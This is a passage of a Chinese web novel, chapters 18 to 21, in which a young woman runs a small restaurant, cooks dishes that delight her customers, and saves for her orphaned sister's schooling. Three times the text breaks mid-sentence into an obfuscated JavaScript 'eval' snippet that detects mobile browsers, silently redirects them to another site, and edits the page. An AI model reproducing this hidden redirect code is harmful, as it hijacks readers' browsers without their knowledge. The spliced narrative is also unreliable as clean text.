一上午的疲劳瞬间一扫而空，精神为之一振。 成柯舍不得停下来，又来了好几筷面条。 惹得旁边桌的小男孩看过来，“我也要吃那个面面！” 老人家头瞬间大了，家里的小泼猴啊，“说好吃煲仔饭的，下次奶奶再带你来吃面面好吗？” “我不要，就要吃面面！”小男孩眼泪说来就来，放声哭出来。 见其他人看过来，老人家有些尴尬。 但她一向疼孙子，只好又去点了份豆角焖面。 没过一会儿焖面端上来，小男孩吸了下鼻子，停止哭泣。 闻到面面的香味，凑近眼睛盯着面条，深褐色的。 “想吃吗？”老人家问。 “我要吃这个！” “奶奶给你喂，慢点吃”，老人家松了口气，孙子终于消停下来。 面条小男孩没来得及咀嚼几下，催促起来，“还要吃！” 老人家没有办法，看他满嘴是油，“真有那么好吃？” 安静下来的小男孩点点头，“好吃，面面很香！” 18. 第18章 整碗焖面吃完，成柯肚子鼓起来，这家饭馆的份量很足，够他吃的很饱。 下午学习可能会饿，他打包了两份豆角焖面带走。 小孩目送成柯离开，出来不明所以的唐玉问，“可儿在看什么？” “这哥哥好高，什么时候可儿也能这么高？”小孩很羡慕道。 唐玉轻轻摸了摸她的头，温柔轻声道，“每天可儿按时吃饭，多多吃饭，也能长这么高。” 小孩一听就觉得，吃饭很重要，不多吃饭不行。 “可儿中午想吃什么？” 小孩眼睛转了转，认真想了下，“可儿想吃面。” 待店里没客人，唐玉端来两碗豆角焖面。 小孩埋头就吃，脸颊都沾上了汤汁。 唐玉拿纸给她擦干净，然后吃起面条。 小孩把最后一口面条吃完，“好饱啊~” 这时，王奶奶背着蒲扇经过，被香味吸引进来。 “吃什么这么香？” 唐玉立马起身，“奶奶，你要吃点什么？” “我啊刚吃过饭，出来找老头子”，准备到饭馆来找老头子，但一看他不在，看来是到别处去了。 想到锅里还剩了些豆角焖面，唐玉：“奶奶，锅里还有些豆角焖面，我去给你盛点。” 没等王奶奶说话，她朝厨房去。 王奶奶抬眼看到豆角焖面的一刻，有些说不出话来。 面条泛着层油光，被酱汁裹上后很诱人，肉片满满的肉香扑面而来，而豆角清香十足。 小孩练着字，唐玉擦拭起桌子。 而王奶奶吸溜着面条，面条不干不腻，不咸不淡，猪肉煸炒过后焦香浓郁，豆角清香又脆口。 很快，一碗豆角焖面下肚。 王奶奶惊讶她胃口什么时候变好了，走之前非要付钱。 唐玉执意道，“面条是给奶奶你尝的，如果奶奶觉得过意不去，下次和爷爷一起过来吃吧。” “我看可以，下次来吃。” “一吃你做的面条，我浑身有力气了”，王奶奶接着笑道。 擦完桌子，唐玉去午睡了会儿。 图书馆边有个凉亭，过来的学生通常在那解决午饭。 薛梧出来，看到成柯在吃东西，还吃的津津有味。 “好饿，你吃什么吃这么香？” 成柯从书包里取出份焖面，“给你带的豆角焖面，唐家饭馆的。” “兄弟，太感谢你了！”薛梧很感动，眼看快要哭。 成柯提醒，“再不吃就冷了。” 闻言，薛梧迫不及待拿开袋子，面条好香，冲进鼻子先是肉的油脂香，混着纯厚的酱油香，还有不少豆角。 他咽了下口水，把坨面送进嘴里，感受着肉片的鲜嫩，面条的油润和豆角的清脆，各种滋味在舌尖散开。 薛梧平时不怎么吃面，从来没有觉得面条能如此香。 学习累了，能吃到如此美味的东西，是他享口福了！ 他大口吸溜着面条，那叫一个满足。 “兄弟，你这豆角焖面买的好！” “那可不，我今天第二份焖面了”，成柯吃完最后口面条。 吃完一份豆角焖面，薛梧郁闷的心情一扫而空。 一到晚上，各家各户生火做饭，锅碗瓢盆碰撞声传来。 小孩在门口处，搬了张小板凳，托腮看星星。 唐玉出来，看到她眼里盛满了泪水。 “姐姐，爸爸妈妈是不是在天上看着我们？”小孩有些伤感说。 “是啊，所以我们不能让爸爸妈妈失望，要过好每一天。” 小孩有些懵懂地点头，收了收眼泪。 最近天气热，有客人说单吃盖浇饭容易口干，唐玉决定熬些汤卖。 第二天的阳光灿烂，洒在人身上金黄。 这会儿才七点，菜市场里人却不少。 唐玉着急买食材，逛了圈不知道买什么好。 不起眼的角落处，有个老奶奶的小摊吸引了她的注意。 摆在摊上的是一截截沾着淤泥的莲藕。 “姑娘，看看莲藕，刚从泥里挖出来没来得及洗”，老奶奶很热情招待道，说到后面有些不好意思。 唐玉倒不在意，拿回去洗就行了，上前挑选了几截。 老奶奶拿了好几个袋子给她，怕脏了她的手。 拐了个弯，唐玉到了猪肉摊，他家卖的排骨很漂亮，她称了些排骨炖汤用。 回到饭馆，唐玉将莲藕清洗了两遍，然后削皮，将莲藕切成大小合适的一段，拿来排骨洗后焯水。 准备了口大锅用来炖汤，新鲜的莲藕和排骨放进去，再倒入适量的清水，端上灶头开火炖煮。 等到排骨颜色变了，唐玉只往里面加了盐，然后用汤勺搅拌几下。 香味很快在厨房蔓延开来，她拿来个干净的碗尝了下汤，不咸不淡，很鲜美。 唐玉盛了碗莲藕排骨汤，给小孩喝。 只见唐可儿低头呼了几口气，才小心凑近碗边，喝起汤来。 莲藕很鲜脆，略微费牙齿，排骨上都是瘦肉，香喷喷的很。 小孩很爱喝汤，觉得汤比橘子汽水还好喝。 夏雨好几天没来饭馆，今天终于有时间赶了过来。 见店内一大一小站在一块，小的在喝汤很乖，大的看着小的，眼神很温柔。 夏雨不由放柔了语气，“老板，请问做生意吗？” 唐玉看到客人来了，笑道，“既然开门当然是做生意啊。” 闻言，夏雨非常高兴，“今天有什么吃的？” “炒面盖浇饭都有，可以看菜单。” 夏雨注意到小孩在喝汤，“那汤怎么卖？” “两块一份，喝完可以自己去柜台续”，唐玉将一锅莲藕排骨汤端到前面柜台。 “我要个番茄炒蛋盖浇饭和这样的汤。” 等老板一转身，夏雨去打了碗莲藕排骨汤。 只见汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512801|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色是诱人的奶白色，汤表面浮着层清亮的油花，葱花加以点缀，增添了几分香气。 她拿起勺子一舀，立刻被征服了。 莲藕吃着鲜甜，入口先是鲜香扑鼻，后味回甘，而排骨不油不腻，口感有嚼劲，上面的瘦肉一点也不柴。 用筷子夹断一截莲藕，入口即化，质地粉糯绵甜，咬开时藕断丝连，拉出细长的线，鲜甜的滋味在舌尖慢慢绽放，与汤汁的咸鲜很不相同。 香，真香！ 夏雨去盛了一碗接一碗，等到番茄炒蛋盖浇饭端上来，已经有半饱了。 “汤觉得咸吗？”温柔的老板问。 “一点都不咸”，夏雨简单擦了下嘴，“很好喝。” “就我喝太多了”，说到这，她挠了挠头。 “盖浇饭好了，慢用”，听到这，唐玉笑着道。 番茄与鸡蛋彼此交融，看着黏糊糊，但夏雨知道有多么好吃，迫不及待拿起筷子。 不断有客人进来感叹好香，然后问老板今天做了什么。 “这有刚炖不久的莲藕排骨汤，莲藕我今早去菜市场买的，很新鲜。” “汤给我来一份，还要个炒面。” “莲藕排骨汤可以续汤”，唐玉补充了句。 顶着大太阳回来的客人正大汗淋漓，哪听的进她的话，盛了汤只顾埋头喝。 汤鲜味美，回味悠长，表面的油亮喝起来却刚刚好，一点也不油腻，莲藕的加入绵甜软糯，还能拉出丝，不用怎么咀嚼入口即化，而排骨劲瘦的很，瘦肉鲜嫩又多汁，沾染了莲藕后，多了几分鲜甜。 早上没吃多少东西，这会儿一碗汤下肚，不仅解了渴，还胃口大开，期待起端上的盖浇饭来。 成柯和薛梧想着饭馆美味的饭菜，硬是熬到了下课。 然后赶了过来。 “好多人啊”，薛梧发出声感慨，“恐怕没地方坐了。” 成柯正馋的紧，哪管有没有地方坐，书包什么的放到柜台边，然后去找老板。 看他头发都湿了粘在额头上，唐玉鬼使神差道，“今天有炖的莲藕排骨汤，要来一份吗？” 成柯点好餐听到这话，立马道，“再来两份汤！” “自己去柜台边打汤，喝完可以再续。” “兄弟，你哪打来的汤，还有排骨和莲藕”，薛梧直勾勾盯着他手里的汤。 成柯赶紧护住他的莲藕排骨汤，“想喝自己去柜台上打。” 伴随一股直冲面门的香味，只见碗里莲藕排列齐整，排骨是诱人的浅褐色，汤表面浮了层油亮，还撒了葱花点缀。 成柯喉结上下滚动，混沌的大脑清醒不少，胃在此时叫嚣起来。 低头一喝，入口是汤的鲜，一股醇厚的骨头香萦绕在舌尖。再尝下莲藕软绵鲜甜，一口下去回味无穷，咬断藕还拉丝。 这时候的莲藕最是鲜嫩清甜，好吃的很。 还有排骨没有丝丝腥味，咀嚼起来很容易脱骨，瘦肉一点都不柴，非常有嚼劲。 19. 第19章 “真好喝，鲜而不腻！”薛梧咽着唾沫说。 有客人问今天还有煲仔饭吗。 唐玉略带歉意，“不好意思，今天店里不卖煲仔饭。” 煲仔饭太耗时间不说，而且今天她没有买到色泽漂亮的腊肠。 “那什么时候还有的卖？” 唐玉想了下，“这还要看情况。” “那我要一份盖浇饭！” …… 下午两点左右，莲藕排骨汤就只剩下了一点点。 唐玉将最后一点莲藕排骨汤盛出来，端给小孩。 小孩顾不上用勺子，直接低头喝起来，“好鲜啊~” “好喝你就多喝点”，唐玉回了句，然后吃起饭来。 想着天气热，小孩都没多大胃口，唐玉做了道凉拌黄瓜。 洗净的黄瓜她拍碎，然后调了个料汁，放了盐，酱油和醋，料汁浇在黄瓜上，接着搅拌几下更入味。 她夹了几块黄瓜给小孩。 唐可儿咬下去，清脆的声音在嘴里响起，黄瓜吃着清清爽爽，加了酱汁后有股酱香味。 没一会儿，姐妹俩风卷残云吃完整碗凉拌黄瓜。 唐玉坐在柜台后算账，一上午莲藕排骨汤就卖出去了三十多份，她小赚了点。 这时，拿着钱出去的小孩买来两瓶橘子汽水，放了一瓶到她面前，“姐姐，喝汽水。” 唐玉扭开瓶汽水，插上吸管喝了一口。 等喝完汽水，就去厨房忙了。 虽然没了煲仔饭，但盖浇饭卖出去几十份，连炒面也是一样，生意还不错。 天色黑下来，同一巷子里的理发店有些安静。 师傅王成出来，看徒弟李浩在那睡觉，哈喇子还流了出来。 “起来我们去吃饭。” 李浩正做着美梦呢，突如其来的声音在耳边，他当即被惊醒，一看是王成。 漫不经心道，“师傅，我们不吃订的盒饭了？” 每次理发店生意好，两人都没空弄饭，于是王成在一个厂子边大姐那订了中晚饭。 “不吃盒饭了，下馆子去”，王成想都没想道。 盒饭最近不仅涨价了，而且份量越来越少，中午吃完没过两三个小时又饿了。 李浩“哦”了一声，也行吧，听到他师傅说，“你知道附近哪里有饭馆？味道还不错。” “我怎么知道，师傅”，李浩瞪大眼睛，摇头道。 李浩连高中没读，就来理发店给他师傅打下手，虽说每个月工资不多，但饱两餐，勉强够用。 没客人的时候，他喜欢倒头就睡，哪有时间去逛巷子看有没有饭馆。 “我们赶紧去找饭馆”，王成忍着饥饿道。 王成出了理发店，马上要走出巷子，忽然闻见一股浓浓的香味。 还没等他问，李浩喃喃道，“好香，师傅。” 两人找了下，看过去店里客人进进出出，里面客人捧着碗，那吃的叫一个香，等到了门口，李浩才清醒过来，“师傅，这家饭馆我好像听人说过，但不记得在哪听过了。” “进去看看再说”，王成肚子不争气叫唤了声。 这家店不大，仅容纳六张桌子，在巷子里着实不起眼。 可味道确实香！ 李浩拍了下脑袋，“师傅我想起来了，这家饭馆我有个朋友来吃过，说挺卫生，但很难吃，吃过一次绝对不会再想吃第二次！” 现在一样的摆设，牌匾都没换，应该没换老板。 王成也怀疑起来味道怎能如此香，于是他问老板，“店里卖什么吃的？” “有炒面和盖浇饭”，唐玉看两人眼生，接着道，“中午还有莲藕排骨汤，但你们来晚，现在没有了。” 李浩在看菜单，喊师傅过来，“我们晚上吃什么？师傅。” 炒面油乎乎，番茄炒蛋盖浇饭又酸酸甜甜，看来只有吃香辣藕片了，“给我来个香辣藕片盖浇饭，你呢？” 李浩看向老板，“我和我师傅一样。” 这家饭菜味道这么香，想来味道不会差，王成在心里安慰自己。 两人找位置坐下，李浩碰到桌子，发现桌子虽然旧了点，但很干净，没什么油渍。 然后看向厨房，老板正拿来个砂锅，往里面倒入黑乎乎的料，给砂锅开火加热，然后下藕段。 剩下的莲藕唐玉利用起来，做香辣藕片。 莲藕在砂锅里卤煮二十多分钟，开火后她拿毛巾端下来。 等凉却后，将卤好的藕段取出，然后切成小片，再浇上醋、卤水和辣椒粉调好的料汁，盖在白花花的米饭上，拿去端给客人。 “你们的香辣藕片好了，喜欢吃辣可以加些辣椒酱。” 刚出锅的盖浇饭唐玉用大青瓷圆碗装着，莲藕呈现诱人的深酱色，卤的很入味，香气扑鼻而来。 “好的！”等老板说完，王成这对师徒俩一前一后动起筷子。 藕片不怎么烫了，就米饭还冒着热气，王成感觉快饿疯了，呼哧着粗气夹起块酱色诱人的藕片送入嘴里，藕片应该卤煮过，除了莲藕自带的清甜，还有股卤香味，又脆又爽口，连向来不怎么吃莲藕的王成都沉沦了。 真是好吃到他头皮有些发麻。 想起老板说可以加辣椒酱，但他认为不用，莲藕很香口，辣却不呛嗓子眼，怎么吃都够香。 卤汁里不知道放了什么，让莲藕很脆嫩，形成甜辣交织的滋味。 而且浓郁的酱料渗透进米饭，并不断在扩大“领地”，拌饭吃非常香口。 门口的小孩有些羡慕他们吃这么香，她还没吃过姐姐做的香辣口味藕片。 “师傅，这藕片脆爽还又香又辣，绝了”，李浩舍不得放下筷子，飞快道。 有些庆幸出来下馆子，总算没有继续吃寡淡无味的盒饭。 盖浇饭不仅菜入味下饭，连米饭都很香润，不像前面的米饭那硬邦邦，没有米香气。 王成率先吃完，抹了把油腻的嘴，盯着徒弟碗里的藕片，“小浩你肯定吃不了那么多，要不要让师傅帮你解决点？” 一听这话，李浩死死护住他的碗，“师傅不用了，我真吃的完！” 王成只好叹了口气，在碗香辣藕片面前，素来深厚的师徒情都不管用了。 付款的时候，李浩忍不住问，“这店是不是换了老板？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515217|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟听朋友说，饭馆老板是个上了年纪的人，绝对不会像眼前姑娘如此年轻。 唐玉解释，“原来的老板是我爸妈，但他们前不久去世了。” 闻言，李浩瞬间有些不安，他不经意谈到人家伤心事。 “好了小浩”，王成认真道，“现在老板虽然年轻点，但在厨艺上确实没话说，一道藕片能做如此绝，叫我们回味无穷。” “谢谢夸奖”，唐玉笑着说。 “诶，老板你什么时候开门？”王成想着明天来吃早餐。 “九点半开门。” 王成略带可惜道，“那不能过来吃早餐了，老板有想过弄早饭吗？” 唐玉实话实说，“早上我要去菜市场买菜，恐怕不能太早过来开门。” “师傅这没什么，反正早上我们买几个包子吃得了”，李浩倒无所谓道。 “就你小子顶嘴！”王成眼睛一瞪，气不过敲了下他的头。 离开前，王成告诉老板，“我在这巷子里开理发店，有需要可以过来剪头发。” “好，我知道了。” 待客人离开，唐玉把碗盘拿去厨房洗，洗好碗出来，看了眼墙上挂钟。 “再过一个小时，我们回家咯”，她对小孩说。 月上柳梢，夜色很是静谧。 唐玉牵着小孩回来。 而正巧房东出来扔垃圾，“小玉你们回来了？” “回来了，刚忙完呢。” “你们也是辛苦”，房东感慨道，“从早忙到晚，还没怎么休息下。” 唐玉听完笑道，“谢谢姐的理解，今天我炖了些莲藕排骨汤，给姐带了份回来。” 她特意留了份莲藕排骨汤。 “这怎么好意思，小玉你们每次对我这么好“，房东拒绝道。 “一份莲藕排骨汤而已算不了什么，再说姐也帮了我们姐妹俩很多，有来有回才好”，唐玉很是坚持，拿给她汤。 房东拗不过她的好意，“汤我收下，那这几天的牛奶钱我不能要了。” “钱还是要给的，这几天店里生意很好，姐不用担心。” 第二天早上，唐玉起晚了，带小孩去菜市场，顺便在外面吃了早饭。 市场外支起一排帐篷搭起的早餐摊，飘出的热气带着阵阵香气。 唐玉问小孩想吃什么，小孩咬着手指想了下，指着一个不起眼的小摊。 走近一看是卖馄饨的，两块五一份，唐玉拉着她进去点了两份馄饨。 她不仅厨艺好，嘴巴还刁，尝了个馄饨。 嗯，馄饨皮太厚，而馅料只有那么一丢丢，味道很是奇怪，总有股说不出来的腥味。 “姐姐，这个不好吃！”小孩皱起眉认真道。 “那可儿想吃什么，姐姐带你去买。” “不用姐姐，可儿不想浪费食物”，小孩格外认真，一字一句道。 这孩子真懂事，唐玉也不想浪费。 吃完早饭，她带着笑意走进菜市场，各种吆喝声传来，很是热闹。 番茄炒蛋她不准备卖了，再美味连吃几天也总会腻。 可买些什么呢？ 20. 第20章 正当唐玉犯难时，她发现了个玻璃罐里装着豆角。 她上前问，“这是什么？” 摊主在招呼其他客人，随意回了句，“酸豆角。” 现在比唐玉那个时代物资发达的多，大家不仅要吃饱喝足，还对吃喝挑剔起来，不单单认为有肉荤菜就是大餐。 想起原身父母留下来的美食书籍，好像对酸豆角有记载，酸豆角和肉沫一起炒，加上些辣椒段和调味料，炒出来很开胃。 唐玉直接道，“我要些酸豆角。” “好咧，我给你拿一些。” 接着又去熟悉的肉摊，摊主刚和一个男人抬着半扇猪肉回来，看到唐玉问，“要买肉吗？刚宰杀拿回来的。” 看了眼肉确实新鲜，色泽漂亮，她指了下，“老板，我要这一部分肉。” 逐渐热起来，唐玉两人匆匆回到饭馆。 “老板你总算来了，我等了好久，就盼着来饭馆吃饭”，坐在地上的薛梧见唐玉出现，立马起身。 他眼睛下还挂着两团明显的青黑。 自从半夜梦到在饭馆吃盖浇饭，他忍不住流口水时，结果被院子里的狗叫声吵醒，之后彻底没了睡意。 对美食的渴望支撑他到了现在。 唐玉差点被他吓了一跳，有人还来这么早，这种感觉嗯好像还不赖，“进来吧，我才刚买好食材回来，你想要吃饭的话，还需要等一会儿。” “没事，反正我等久了也不怕等。” 注意到她手上提的东西，“老板，你这买的是什么？” “酸豆角，今天有酸豆角肉沫盖浇饭。” 豆角薛梧很少吃，何况酸豆角呢。 但相信老板的厨艺，薛梧一咬牙，“那来个酸豆角肉沫盖浇饭。” “好，不过你要等上一阵”，唐玉又提醒道，怕他没有耐心等。 然后去把米淘好，加水放灶台煮饭。 接着只见她右手握菜刀，手起刀落豆角切成了一小段，不过眨眼工夫一盘酸豆角切好了。 如果有人在这，肯定要惊叹她刀功了得。 然而唐玉觉得可以再练练，精进下。 又利落把其他食材备好。 烧锅热油先放肉沫煸炒，很快变色炒出了些油，下葱姜蒜和辣椒爆香，再放入切好的酸豆角，不断翻炒，酸辣的香味越来越浓。 盖浇饭汤汁多好下饭，后面唐玉加了点水。 最后撒上把葱花，出锅。 唐玉熟练掌控了火候与调料，以及什么时候放食材，因此没有尝下味，就端上给客人。 薛梧在外面流哈喇子，用强大的意志力才没有进去看他的盖浇饭做好没。 “酸豆角肉沫盖浇饭好了”，老板将盖浇饭放到他手边。 薛梧动了动鼻子，空气里有股很浓的酸味，应该是酸豆角飘出来的，盖浇饭用盘子装着，黄色的豆角，深色的肉沫以及红艳的辣椒，味道应该不会差到哪去。 脑海浮现出“好吃”的念头。 从色香味三方面来看，这道盖浇饭肯定过关了。 抄起筷子迫不及待来上一大口，眼睛顿时亮起来，这味道…… “酸辣开胃，太好吃了！尤其这个酸豆角脆口的很，如果成柯在这，肯定要和我抢。” 薛梧埋头扒拉起米饭来，说完又来上一大口，塞的嘴里满满的才过瘾。 只觉得酸豆角脆爽，肉沫鲜香，每一种滋味都很合他的胃口，每天都这样吃，说不定他还会长胖。 而且拿酸豆角和肉沫拌米饭特别香。 里面还放了许多红辣椒，像往常薛梧嘴巴很挑剔，一定会把辣椒全挑出来，但今天他没有这个耐心。 他也舍不得浪费时间与食物，不小心吃到辣椒了，细细品尝发现辣椒很香辣，蛮好吃的，他没有再管。 “小伙子，盖浇饭有这么好吃？” 夏母进来，看薛梧像几天没吃过饭了，脸快埋进盘子里。 “大妈，这不是一般的好吃啊！”薛梧边吃边回道。 “我不跟你说了，我要吃饭了。” 见小伙子没耐心，夏母更好奇他是不是没吃过好吃的，才能吃的津津有味。 她打算买好盖浇饭，就不用做饭了，回去能打麻将。 夏母看到他盘里的酸豆角，赶紧去点餐，“要三份酸豆角……像他吃的那样，带走。” 唐玉去炒了几份酸豆角肉沫，给客人打包好。 一下付了十多块钱，夏母有些肉疼，但随后一想又不是经常吃。 提着香喷喷的盖浇饭走了。 唐玉没等多久，又来了好些客人。 毕竟几份盖浇饭一起出锅，整个饭馆都弥漫着股饭菜的诱人香味，这香味像钩子，深深把路过的人吸引进来。 饭馆不多时坐满了客人。 王大爷一看这状况，拍腿直懊悔，“来晚了都是人，没地方坐。” “谁让你不急呢，害我催了你好久”，王奶奶不客气白了他一眼。 “要不我们改天来”，王大爷打起了退堂鼓，他不想站着吃，到时候被熟人认出来，尴尬了。 “既然来了，就今天”，王奶奶态度很强硬。 “行吧。” 很快，有一桌客人吃完离开，小孩过来踮起脚尖，收拾碗筷。 王奶奶拉着王大爷过去，又帮着小孩收拾了下，才坐下。 “多么懂事的孩子，要我孙儿这样就好了！” 王奶奶有个孙子，在家简直是混世魔王。 听到这，王大爷懒得说话，鼻子忽然一动，闻着还挺香。 “我们中午吃什么？”他说。 “吃饭，酸豆角肉沫盖浇饭你吃吗？”王奶奶问了句。 “可以”，王大爷有些饿了，只想填饱肚子。 他看向厨房方向，隐约能看到老板的身影，纤细的手腕端起锅，那颠锅动作叫一个熟练，底下是窜起的大火，难怪前面炒出来的菜如此香！ 对面的王奶奶感叹道，“这家店老板小姑娘，还带着个小孩，不容易啊。” “反正这家饭馆味道可以，我们以后就常常来，也算照顾老板她们的生意。”另外他们帮不上什么忙。 在两人的聊天中，唐玉端来盖浇饭，怕老人等急了饿肚子。 “小姑娘你手艺很厉害”，王奶奶夸了一句。 “谢谢奶奶，你觉得好吃，以后常来哦”，唐玉眨眨眼，十分俏皮道。 被“冷落”的王大爷却拿起筷子，享用起盖浇饭。 他陶醉地猛吸一大口气。 和以前的盖浇饭有所不同，但同样霸占了他的味蕾。 酸豆角切的很细，脆爽可口，酸辣又开胃，而肉沫鲜香十足，香迷糊他了。 饭馆的食客大人居多，所以一份盖浇饭唐玉准备了不少份量，确保过来的食客吃得饱饱的。 酸豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517568|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角酸酸爽爽，辣劲十足，非常下饭，剌激得他嘴里不断分泌出唾液。 王大爷舀起一大勺米饭混合着酸豆角送进嘴里，酸豆角咀嚼起来能尝到原始的豆味，口感脆爽，带些点咸，浓郁的味道混着热乎乎香甜的米饭，很让人上头。 太香辣了，不知不觉大半碗米饭下肚，这家的酸豆角也太下饭了，肉沫也不错。 王奶奶夹起一筷子酸豆角炒肉沫，酸豆角冲击力强，酸酸辣辣，香味足，肉沫煸炒过后，颗粒分明，细尝起来满嘴肉香，好吃。 不少进来的人看俩人吃这么香，看起来真让人有食欲。 唐玉从一开始的适应，到后面麻木了。 一上午卖出去三十多份酸豆角肉沫盖浇饭。 原本她早上买酸豆角，还担心卖不出去，可一到饭点，她就热锅倒油，将酸豆角和肉沫放进去炒，然后浇汁出锅。 唐玉占着两个灶头，一个用来炒面，另一个做盖浇饭，盖浇饭出餐稍微慢点，店里客人却很有耐心，没一个催促的，来的大多数是熟客。 她擦了把汗，直喘粗气。 “姐姐喝水~”小孩给她端来水。 唐玉接过，猛喝了一大口。 “可儿，饿不饿？”她问道。 小孩和她忙里忙外，都没抱怨下饿。 “有点哦”，小孩摸着肚子，奶声奶气道。 “那姐姐去做饭。” 她在菜市场称了些鸡翅，看这里小孩子都挺爱吃。 鸡翅她提前清洗过，加料腌制了会儿，备好辣椒。 唐玉起锅烧油，探了下油温，然后下腌制好的鸡翅，炸至变焦黄，捞出。 将干辣椒放入留有底油的锅里，炒出浓烈的香辣气，再放蒜末，调小火炒，然后放入炸好的鸡翅，颠锅不断翻炒，撒上白芝麻与葱段出锅。 唐玉拿来盘子装着，鸡翅正冒着热气。 “吃饭了，可儿”，她叫唤小孩。 小孩眼睛亮晶晶，“姐姐，这是做了鸡翅？” “对啊，我们吃饭。” 小孩不知道怎么形容这道香辣鸡翅，只一个劲的夸香。 鸡翅香味飘进鼻子里，馋到不行。 小孩刚咬下去一口鸡翅，一句话也说不出来。 鸡翅太好吃了，香香辣辣的，唐可儿一口接一口吃得停不下来。 见她埋头认真吃饭，唐玉吃起饭来，处理过后的鸡翅又香又嫩，稍微一抿就脱了骨，上面芝麻很香。 可儿不像这个年纪的小孩一样挑食，吃什么都很香。 唐玉看她小肚子鼓起来，像个小西瓜似的，“不能再吃了，不然肚子要撑破。” 还想再吃的唐可儿放下筷子。 中午生意可以，没想到晚上更好。 王成师徒俩差点没挤进店里。 “这么多人，要排队到什么时候去？！”李浩没忍住道。 “我们要有耐心。” 没位置入座，看来只有打包回去吃。 好不容易排到王成，“老板，要两份酸豆角肉沫盖浇饭，打包带走。” 唐玉面露难色，“店里的酸豆角……恐怕只能做一份了。” “那我来个酸豆角肉沫盖浇饭，再要个黄瓜炒火腿盖浇饭。” “老板，你店里是不是该买些食材？” “明天就去菜市场买。” 她着实没想到生意这么好，炒面都不够卖。 21. 第21章 不过今天入账肯定不少，她很高兴。 两份盖浇饭很快炒好，唐玉拿给客人。 李浩差点站着要睡着了。 “走，小浩”，王成喊了一声。 回到理发店，王成把饭盒放到桌上，打开袋子。 “我的一份，这你一份。” 李浩定睛一看，“师傅，你的盖浇饭和我的好像不同？” “老板说店里酸豆角肉沫只剩最后一份了。” 两份的份量差不多，看不出差别。 李浩心想，有饭吃就够了。 “小浩，我们赶紧吃吧！” 随着饭盒盖被揭开，一股浓烈的香味飘了出来。 这香味使得王成吸了吸鼻子，打眼一看，饭盒里的豆角呈诱人的黄色，长短均匀，肉沫颜色鲜亮，底下米饭带着酱色，似乎浇上了汤汁，散发出令人难以抗拒的味道。 王成默默吃起来，这时李浩凑过来，“师傅，你这酸豆角太香了，能让我尝一口？” 虽然可能要被骂，但他还是要说。 “不行”，王成冷漠无情道，往嘴里塞上一大口盖浇饭，“快吃你自己的饭！” 看着师傅埋头大吃的模样，李浩收回目光，面前的黄瓜炒火腿好像失去了滋味。 他动起筷子的时候，王成已经吃了半碗饭。 “师傅，你吃这么快！” 王成其实吃的有些撑了，还是边吃边夸道，“太好吃了，我第一次发现酸豆角如此开胃……” 李浩点点头，是不错，但他师傅那份看着更好吃些。 回到家，唐玉真是腰酸背痛，清点起钱来。 小半个月以来，她总算赚够了妹妹的学费和书本费，也有些吃惊饭馆生意能如此好。 “可儿，姐姐明天带你去看学校好吗？”她低头问身边的小孩。 唐可儿喉咙发紧，“可上学要花钱。” “不用担心姐姐赚够了钱，能给你交学费。” “那可儿听姐姐的”，小孩眼里有了笑意。 唐玉决定明天出门亲自去附近小学问问。 睡觉前她无比踏实，终于能让妹妹上学了。 经过这段时间的相处，她有一种感觉，小孩就好像是她的亲妹妹，两人相依为命。 她不由看向身旁熟睡的小孩，越看越可爱。 本来干瘪的脸蛋变得肉嘟嘟，很软乎，让她想起了宫中贵妃养的那只小猫。 唐玉内心顿时一片柔软。 外面开始下雨，气温降下来，唐玉闭上眼睛睡觉。 家里食材多了起来，翌日唐玉醒来后，打了两个鸡蛋，上锅做蒸蛋，又炒了个小青菜。 “好香啊！” 没等她去叫，小孩闻到香味睁开眼，跑来厨房。 唐玉先从锅里将蒸蛋端出来，此时卖相看着很诱人。 早上小孩胃口不太好，但一看到蒸蛋，勺子一按压，鸡蛋蛋弹跳了下，好神奇啊。 挖了勺金黄的蒸蛋，搭在米饭上，鸡蛋蛋很嫩很滑，拌着米饭可香了。 “蒸蛋味道淡吗？”这时候，唐玉问了句。 小孩抿了下嘴，小声道，“有点。” 闻言，唐玉往蒸蛋倒了点生抽。 蒸蛋表面很是光滑，放了生抽后，不断散发出咸香气，小孩情不自禁把脸凑近，就看到嫩黄的鸡蛋蛋像跳舞一样弹动起来。 入口的蛋香味很浓，但没有一点蛋腥气，用来拌饭简直香迷糊人了。 一碗蒸蛋吃完解了馋意，小孩舔了舔嘴角，鸡蛋蛋真香。 得知要去看学校，小孩很是激动。 出门的时候快七点了，今天好像凉快了点。 她先问过房东附近哪里有小学，才找了过去。 离她们最近的学校坐两站公交就能到，她带小孩过去。 小学开学差不多要一个多半月，有个别老师留在学校里。 来到学校，唐玉看到门口站着个年轻男人，像是学校老师。 